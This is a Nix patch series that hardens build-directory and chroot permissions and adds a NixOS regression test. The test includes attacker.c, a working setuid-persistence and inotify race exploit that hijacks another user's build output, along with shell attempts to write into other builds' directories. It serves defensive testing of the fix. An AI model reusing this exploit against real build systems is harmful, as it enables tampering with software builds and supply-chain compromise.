From cad14405c2371ed6cc40cb812e3b64e0585e60ea Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= Date: Mon, 8 Apr 2024 14:51:54 +0200 Subject: [PATCH 1/6] Add a test for the user sandboxing --- tests/nixos/default.nix | 2 + tests/nixos/user-sandboxing/attacker.c | 82 +++++++++++++++ tests/nixos/user-sandboxing/default.nix | 127 ++++++++++++++++++++++++ 3 files changed, 211 insertions(+) create mode 100644 tests/nixos/user-sandboxing/attacker.c create mode 100644 tests/nixos/user-sandboxing/default.nix diff --git a/tests/nixos/default.nix b/tests/nixos/default.nix index 98de31e13..43247b80a 100644 --- a/tests/nixos/default.nix +++ b/tests/nixos/default.nix @@ -158,4 +158,6 @@ in fetch-git = runNixOSTestFor "x86_64-linux" ./fetch-git; ca-fd-leak = runNixOSTestFor "x86_64-linux" ./ca-fd-leak; + + user-sandboxing = runNixOSTestFor "x86_64-linux" ./user-sandboxing; } diff --git a/tests/nixos/user-sandboxing/attacker.c b/tests/nixos/user-sandboxing/attacker.c new file mode 100644 index 000000000..3bd729c04 --- /dev/null +++ b/tests/nixos/user-sandboxing/attacker.c @@ -0,0 +1,82 @@ +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include + +#define SYS_fchmodat2 452 + +int fchmodat2(int dirfd, const char *pathname, mode_t mode, int flags) { + return syscall(SYS_fchmodat2, dirfd, pathname, mode, flags); +} + +int main(int argc, char **argv) { + if (argc <= 1) { + // stage 1: place the setuid-builder executable + + // make the build directory world-accessible first + chmod(".", 0755); + + if (fchmodat2(AT_FDCWD, "attacker", 06755, AT_SYMLINK_NOFOLLOW) < 0) { + perror("Setting the suid bit on attacker"); + exit(-1); + } + + } else { + // stage 2: corrupt the victim derivation while it's building + + // prevent the kill + if (setresuid(-1, -1, getuid())) { + perror("setresuid"); + exit(-1); + } + + if (fork() == 0) { + + // wait for the victim to build + int fd = inotify_init(); + inotify_add_watch(fd, argv[1], IN_CREATE); + int dirfd = open(argv[1], O_DIRECTORY); + if (dirfd < 0) { + perror("opening the global build directory"); + exit(-1); + } + char buf[4096]; + fprintf(stderr, "Entering the inotify loop\n"); + for (;;) { + ssize_t len = read(fd, buf, sizeof(buf)); + struct inotify_event *ev; + for (char *pe = buf; pe < buf + len; + pe += sizeof(struct inotify_event) + ev->len) { + ev = (struct inotify_event *)pe; + fprintf(stderr, "folder %s created\n", ev->name); + // wait a bit to prevent racing against the creation + sleep(1); + int builddir = openat(dirfd, ev->name, O_DIRECTORY); + if (builddir < 0) { + perror("opening the build directory"); + continue; + } + int resultfile = openat(builddir, "build/result", O_WRONLY | O_TRUNC); + if (resultfile < 0) { + perror("opening the hijacked file"); + continue; + } + int writeres = write(resultfile, "bad\n", 4); + if (writeres < 0) { + perror("writing to the hijacked file"); + continue; + } + fprintf(stderr, "Hijacked the build for %s\n", ev->name); + return 0; + } + } + } + + exit(0); + } +} + diff --git a/tests/nixos/user-sandboxing/default.nix b/tests/nixos/user-sandboxing/default.nix new file mode 100644 index 000000000..cdb0c7eb6 --- /dev/null +++ b/tests/nixos/user-sandboxing/default.nix @@ -0,0 +1,127 @@ +{ config, ... }: + +let + pkgs = config.nodes.machine.nixpkgs.pkgs; + + attacker = pkgs.runCommandWith { + name = "attacker"; + stdenv = pkgs.pkgsStatic.stdenv; + } '' + $CC -static -o $out ${./attacker.c} + ''; + + try-open-build-dir = pkgs.writeScript "try-open-build-dir" '' + export PATH=${pkgs.coreutils}/bin:$PATH + + set -x + + chmod 700 . + + touch foo + + # Synchronisation point: create a world-writable fifo and wait for someone + # to write into it + mkfifo syncPoint + chmod 777 syncPoint + cat syncPoint + + touch $out + + set +x + ''; + + create-hello-world = pkgs.writeScript "create-hello-world" '' + export PATH=${pkgs.coreutils}/bin:$PATH + + set -x + + echo "hello, world" > result + + # Synchronisation point: create a world-writable fifo and wait for someone + # to write into it + mkfifo syncPoint + chmod 777 syncPoint + cat syncPoint + + cp result $out + + set +x + ''; + +in +{ + name = "sandbox-setuid-leak"; + + nodes.machine = + { config, lib, pkgs, ... }: + { virtualisation.writableStore = true; + nix.settings.substituters = lib.mkForce [ ]; + nix.nrBuildUsers = 1; + virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell attacker try-open-build-dir create-hello-world pkgs.socat ]; + boot.kernelPackages = pkgs.linuxPackages_latest; + users.users.alice = { + isNormalUser = true; + }; + }; + + testScript = { nodes }: '' + start_all() + + with subtest("A builder can't give access to its build directory"): + # Make sure that a builder can't change the permissions on its build + # directory to the point of opening it up to external users + + # A derivation whose builder tries to make its build directory as open + # as possible and wait for someone to hijack it + machine.succeed(r""" + nix-build -v -E ' + builtins.derivation { + name = "open-build-dir"; + system = builtins.currentSystem; + builder = "${pkgs.busybox-sandbox-shell}/bin/sh"; + args = [ (builtins.storePath "${try-open-build-dir}") ]; + }' >&2 & + """.strip()) + + # Wait for the build to be ready + # This is OK because it runs as root, so we can access everything + machine.wait_for_file("/tmp/nix-build-open-build-dir.drv-0/syncPoint") + + # But Alice shouldn't be able to access the build directory + machine.fail("su alice -c 'ls /tmp/nix-build-open-build-dir.drv-0'") + machine.fail("su alice -c 'touch /tmp/nix-build-open-build-dir.drv-0/bar'") + machine.fail("su alice -c 'cat /tmp/nix-build-open-build-dir.drv-0/foo'") + + # Tell the user to finish the build + machine.succeed("echo foo > /tmp/nix-build-open-build-dir.drv-0/syncPoint") + + with subtest("Being able to execute stuff as the build user doesn't give access to the build dir"): + machine.succeed(r""" + nix-build -E ' + builtins.derivation { + name = "innocent"; + system = builtins.currentSystem; + builder = "${pkgs.busybox-sandbox-shell}/bin/sh"; + args = [ (builtins.storePath "${create-hello-world}") ]; + }' >&2 & + """.strip()) + machine.wait_for_file("/tmp/nix-build-innocent.drv-0/syncPoint") + + # The build ran as `nixbld1` (which is the only build user on the + # machine), but a process running as `nixbld1` outside the sandbox + # shouldn't be able to touch the build directory regardless + machine.fail("su nixbld1 --shell ${pkgs.busybox-sandbox-shell}/bin/sh -c 'ls /tmp/nix-build-innocent.drv-0'") + machine.fail("su nixbld1 --shell ${pkgs.busybox-sandbox-shell}/bin/sh -c 'echo pwned > /tmp/nix-build-innocent.drv-0/result'") + + # Finish the build + machine.succeed("echo foo > /tmp/nix-build-innocent.drv-0/syncPoint") + + # Check that the build was not affected + machine.succeed(r""" + cat ./result + test "$(cat ./result)" = "hello, world" + """.strip()) + ''; + +} + From 0e4baff868047f065749c9ba73556bf8d90fabf7 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= Date: Tue, 2 Apr 2024 17:06:48 +0200 Subject: [PATCH 2/6] Run the builds in a daemon-controled directory Instead of running the builds under `$TMPDIR/{unique-build-directory-owned-by-the-build-user}`, run them under `$TMPDIR/{unique-build-directory-owned-by-the-daemon}/{subdir-owned-by-the-build-user}` where the build directory is only readable and traversable by the daemon user. This achieves two things: 1. It prevents builders from making their build directory world-readable (or even writeable), which would allow the outside world to interact with them. 2. It prevents external processes running as the build user (either because that somehow leaked, maybe as a consequence of 1., or because `build-users` isn't in use) from gaining access to the build directory. --- src/libstore/build/local-derivation-goal.cc | 11 +++++++---- src/libutil/file-system.cc | 5 +++++ src/libutil/file-system.hh | 5 +++++ tests/nixos/user-sandboxing/default.nix | 20 +++++++++++--------- 4 files changed, 28 insertions(+), 13 deletions(-) diff --git a/src/libstore/build/local-derivation-goal.cc b/src/libstore/build/local-derivation-goal.cc index 7e2db580a..474ffe1cd 100644 --- a/src/libstore/build/local-derivation-goal.cc +++ b/src/libstore/build/local-derivation-goal.cc @@ -496,10 +496,13 @@ void LocalDerivationGoal::startBuilder() additionalSandboxProfile = parsedDrv->getStringAttr("__sandboxProfile").value_or(""); #endif - /* Create a temporary directory where the build will take - place. */ - tmpDir = createTempDir("", "nix-build-" + std::string(drvPath.name()), false, false, 0700); - + /* Create a temporary directory where the build will take place. + * That directory is wrapped into a restricted daemon-owned one to make sure + * that the builder can't open its build directory to the world. + * */ + auto parentTmpDir = createTempDir("", "nix-build-" + std::string(drvPath.name()), false, false, 0700); + tmpDir = parentTmpDir + "/build"; + createDir(tmpDir, 0700); chownToBuilder(tmpDir); for (auto & [outputName, status] : initialOutputs) { diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc index 0b3b0f790..d97db40ea 100644 --- a/src/libutil/file-system.cc +++ b/src/libutil/file-system.cc @@ -432,6 +432,11 @@ void deletePath(const Path & path) deletePath(path, dummy); } +void createDir(const Path &path, mode_t mode) +{ + if (mkdir(path.c_str(), mode) == -1) + throw SysError("creating directory '%1%'", path); +} Paths createDirs(const Path & path) { diff --git a/src/libutil/file-system.hh b/src/libutil/file-system.hh index 963265e34..d6d0a1fe8 100644 --- a/src/libutil/file-system.hh +++ b/src/libutil/file-system.hh @@ -165,6 +165,11 @@ inline Paths createDirs(PathView path) return createDirs(Path(path)); } +/** + * Create a single directory. + */ +void createDir(const Path & path, mode_t mode = 0755); + /** * Create a symlink. */ diff --git a/tests/nixos/user-sandboxing/default.nix b/tests/nixos/user-sandboxing/default.nix index cdb0c7eb6..8a16f44e8 100644 --- a/tests/nixos/user-sandboxing/default.nix +++ b/tests/nixos/user-sandboxing/default.nix @@ -16,6 +16,8 @@ let set -x chmod 700 . + # Shouldn't be able to open the root build directory + (! chmod 700 ..) touch foo @@ -85,15 +87,15 @@ in # Wait for the build to be ready # This is OK because it runs as root, so we can access everything - machine.wait_for_file("/tmp/nix-build-open-build-dir.drv-0/syncPoint") + machine.wait_for_file("/tmp/nix-build-open-build-dir.drv-0/build/syncPoint") # But Alice shouldn't be able to access the build directory - machine.fail("su alice -c 'ls /tmp/nix-build-open-build-dir.drv-0'") - machine.fail("su alice -c 'touch /tmp/nix-build-open-build-dir.drv-0/bar'") - machine.fail("su alice -c 'cat /tmp/nix-build-open-build-dir.drv-0/foo'") + machine.fail("su alice -c 'ls /tmp/nix-build-open-build-dir.drv-0/build'") + machine.fail("su alice -c 'touch /tmp/nix-build-open-build-dir.drv-0/build/bar'") + machine.fail("su alice -c 'cat /tmp/nix-build-open-build-dir.drv-0/build/foo'") # Tell the user to finish the build - machine.succeed("echo foo > /tmp/nix-build-open-build-dir.drv-0/syncPoint") + machine.succeed("echo foo > /tmp/nix-build-open-build-dir.drv-0/build/syncPoint") with subtest("Being able to execute stuff as the build user doesn't give access to the build dir"): machine.succeed(r""" @@ -105,16 +107,16 @@ in args = [ (builtins.storePath "${create-hello-world}") ]; }' >&2 & """.strip()) - machine.wait_for_file("/tmp/nix-build-innocent.drv-0/syncPoint") + machine.wait_for_file("/tmp/nix-build-innocent.drv-0/build/syncPoint") # The build ran as `nixbld1` (which is the only build user on the # machine), but a process running as `nixbld1` outside the sandbox # shouldn't be able to touch the build directory regardless - machine.fail("su nixbld1 --shell ${pkgs.busybox-sandbox-shell}/bin/sh -c 'ls /tmp/nix-build-innocent.drv-0'") - machine.fail("su nixbld1 --shell ${pkgs.busybox-sandbox-shell}/bin/sh -c 'echo pwned > /tmp/nix-build-innocent.drv-0/result'") + machine.fail("su nixbld1 --shell ${pkgs.busybox-sandbox-shell}/bin/sh -c 'ls /tmp/nix-build-innocent.drv-0/build'") + machine.fail("su nixbld1 --shell ${pkgs.busybox-sandbox-shell}/bin/sh -c 'echo pwned > /tmp/nix-build-innocent.drv-0/build/result'") # Finish the build - machine.succeed("echo foo > /tmp/nix-build-innocent.drv-0/syncPoint") + machine.succeed("echo foo > /tmp/nix-build-innocent.drv-0/build/syncPoint") # Check that the build was not affected machine.succeed(r""" From bb8a4a3d0dff93b22d1add92b719ca13e9af333e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= Date: Tue, 9 Apr 2024 10:48:05 +0200 Subject: [PATCH 3/6] Add a release note for the build-dir hardening --- doc/manual/rl-next/harden-user-sandboxing.md | 8 ++++++++ 1 file changed, 8 insertions(+) create mode 100644 doc/manual/rl-next/harden-user-sandboxing.md diff --git a/doc/manual/rl-next/harden-user-sandboxing.md b/doc/manual/rl-next/harden-user-sandboxing.md new file mode 100644 index 000000000..fa3c49fc0 --- /dev/null +++ b/doc/manual/rl-next/harden-user-sandboxing.md @@ -0,0 +1,8 @@ +--- +synopsis: Harden the user sandboxing +significance: significant +issues: +prs: +--- + +The build directory has been hardened against interference with the outside world by nesting it inside another directory owned by (and only readable by) the daemon user. From 879d814a75a4985821f29e81769179d9e645774a Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Tue, 14 May 2024 13:00:00 +0200 Subject: [PATCH 4/6] Put the chroot inside a directory that isn't group/world-accessible Previously, the .chroot directory had permission 750 or 755 (depending on the uid-range system feature) and was owned by root/nixbld. This makes it possible for any nixbld user (if uid-range is disabled) or any user (if uid-range is enabled) to inspect the contents of the chroot of an active build and maybe interfere with it (e.g. via /tmp in the chroot, which has 1777 permission). To prevent this, the root is now a subdirectory of .chroot, which has permission 700 and is owned by root/root. (cherry picked from commit af280e72fa0e62e1c2eaccfb992c0dbb6f27f895) --- src/libstore/build/local-derivation-goal.cc | 14 +++++++++----- src/libstore/build/local-derivation-goal.hh | 10 ++++++++++ 2 files changed, 19 insertions(+), 5 deletions(-) diff --git a/src/libstore/build/local-derivation-goal.cc b/src/libstore/build/local-derivation-goal.cc index 474ffe1cd..99cb0d494 100644 --- a/src/libstore/build/local-derivation-goal.cc +++ b/src/libstore/build/local-derivation-goal.cc @@ -670,15 +670,19 @@ void LocalDerivationGoal::startBuilder() environment using bind-mounts. We put it in the Nix store so that the build outputs can be moved efficiently from the chroot to their final location. */ - chrootRootDir = worker.store.Store::toRealPath(drvPath) + ".chroot"; - deletePath(chrootRootDir); + chrootParentDir = worker.store.Store::toRealPath(drvPath) + ".chroot"; + deletePath(chrootParentDir); /* Clean up the chroot directory automatically. */ - autoDelChroot = std::make_shared(chrootRootDir); + autoDelChroot = std::make_shared(chrootParentDir); - printMsg(lvlChatty, "setting up chroot environment in '%1%'", chrootRootDir); + printMsg(lvlChatty, "setting up chroot environment in '%1%'", chrootParentDir); + + if (mkdir(chrootParentDir.c_str(), 0700) == -1) + throw SysError("cannot create '%s'", chrootRootDir); + + chrootRootDir = chrootParentDir + "/root"; - // FIXME: make this 0700 if (mkdir(chrootRootDir.c_str(), buildUser && buildUser->getUIDCount() != 1 ? 0755 : 0750) == -1) throw SysError("cannot create '%1%'", chrootRootDir); diff --git a/src/libstore/build/local-derivation-goal.hh b/src/libstore/build/local-derivation-goal.hh index 88152a645..0d005387d 100644 --- a/src/libstore/build/local-derivation-goal.hh +++ b/src/libstore/build/local-derivation-goal.hh @@ -65,6 +65,16 @@ struct LocalDerivationGoal : public DerivationGoal */ bool useChroot = false; + /** + * The parent directory of `chrootRootDir`. It has permission 700 + * and is owned by root to ensure other users cannot mess with + * `chrootRootDir`. + */ + Path chrootParentDir; + + /** + * The root of the chroot environment. + */ Path chrootRootDir; /** From eee27e83e04510b77fe1b769317b45f82bc0a359 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Tue, 14 May 2024 14:10:18 +0200 Subject: [PATCH 5/6] Formatting (cherry picked from commit 3af22860759509d5040ff70618247031d96a095c) --- src/libutil/file-system.cc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc index d97db40ea..0b5f35510 100644 --- a/src/libutil/file-system.cc +++ b/src/libutil/file-system.cc @@ -432,7 +432,7 @@ void deletePath(const Path & path) deletePath(path, dummy); } -void createDir(const Path &path, mode_t mode) +void createDir(const Path & path, mode_t mode) { if (mkdir(path.c_str(), mode) == -1) throw SysError("creating directory '%1%'", path); From caf4082dce3829623ad107359a99ee758f63b5f7 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Tue, 14 May 2024 14:12:08 +0200 Subject: [PATCH 6/6] Fix --no-sandbox When sandboxing is disabled, we cannot put $TMPDIR underneath an inaccessible directory. (cherry picked from commit 86ca2d6d94c0581fda0c666c5e022784952f3542) (cherry picked from commit 8f58b98770d774ff70834a8a6559e329d5a88d7a) --- src/libstore/build/local-derivation-goal.cc | 17 ++++++++++------- 1 file changed, 10 insertions(+), 7 deletions(-) diff --git a/src/libstore/build/local-derivation-goal.cc b/src/libstore/build/local-derivation-goal.cc index 99cb0d494..d149b8c0a 100644 --- a/src/libstore/build/local-derivation-goal.cc +++ b/src/libstore/build/local-derivation-goal.cc @@ -496,13 +496,16 @@ void LocalDerivationGoal::startBuilder() additionalSandboxProfile = parsedDrv->getStringAttr("__sandboxProfile").value_or(""); #endif - /* Create a temporary directory where the build will take place. - * That directory is wrapped into a restricted daemon-owned one to make sure - * that the builder can't open its build directory to the world. - * */ - auto parentTmpDir = createTempDir("", "nix-build-" + std::string(drvPath.name()), false, false, 0700); - tmpDir = parentTmpDir + "/build"; - createDir(tmpDir, 0700); + /* Create a temporary directory where the build will take + place. */ + tmpDir = createTempDir("", "nix-build-" + std::string(drvPath.name()), false, false, 0700); + if (useChroot) { + /* If sandboxing is enabled, put the actual TMPDIR underneath + an inaccessible root-owned directory, to prevent outside + access. */ + tmpDir = tmpDir + "/build"; + createDir(tmpDir, 0700); + } chownToBuilder(tmpDir); for (auto & [outputName, status] : initialOutputs) {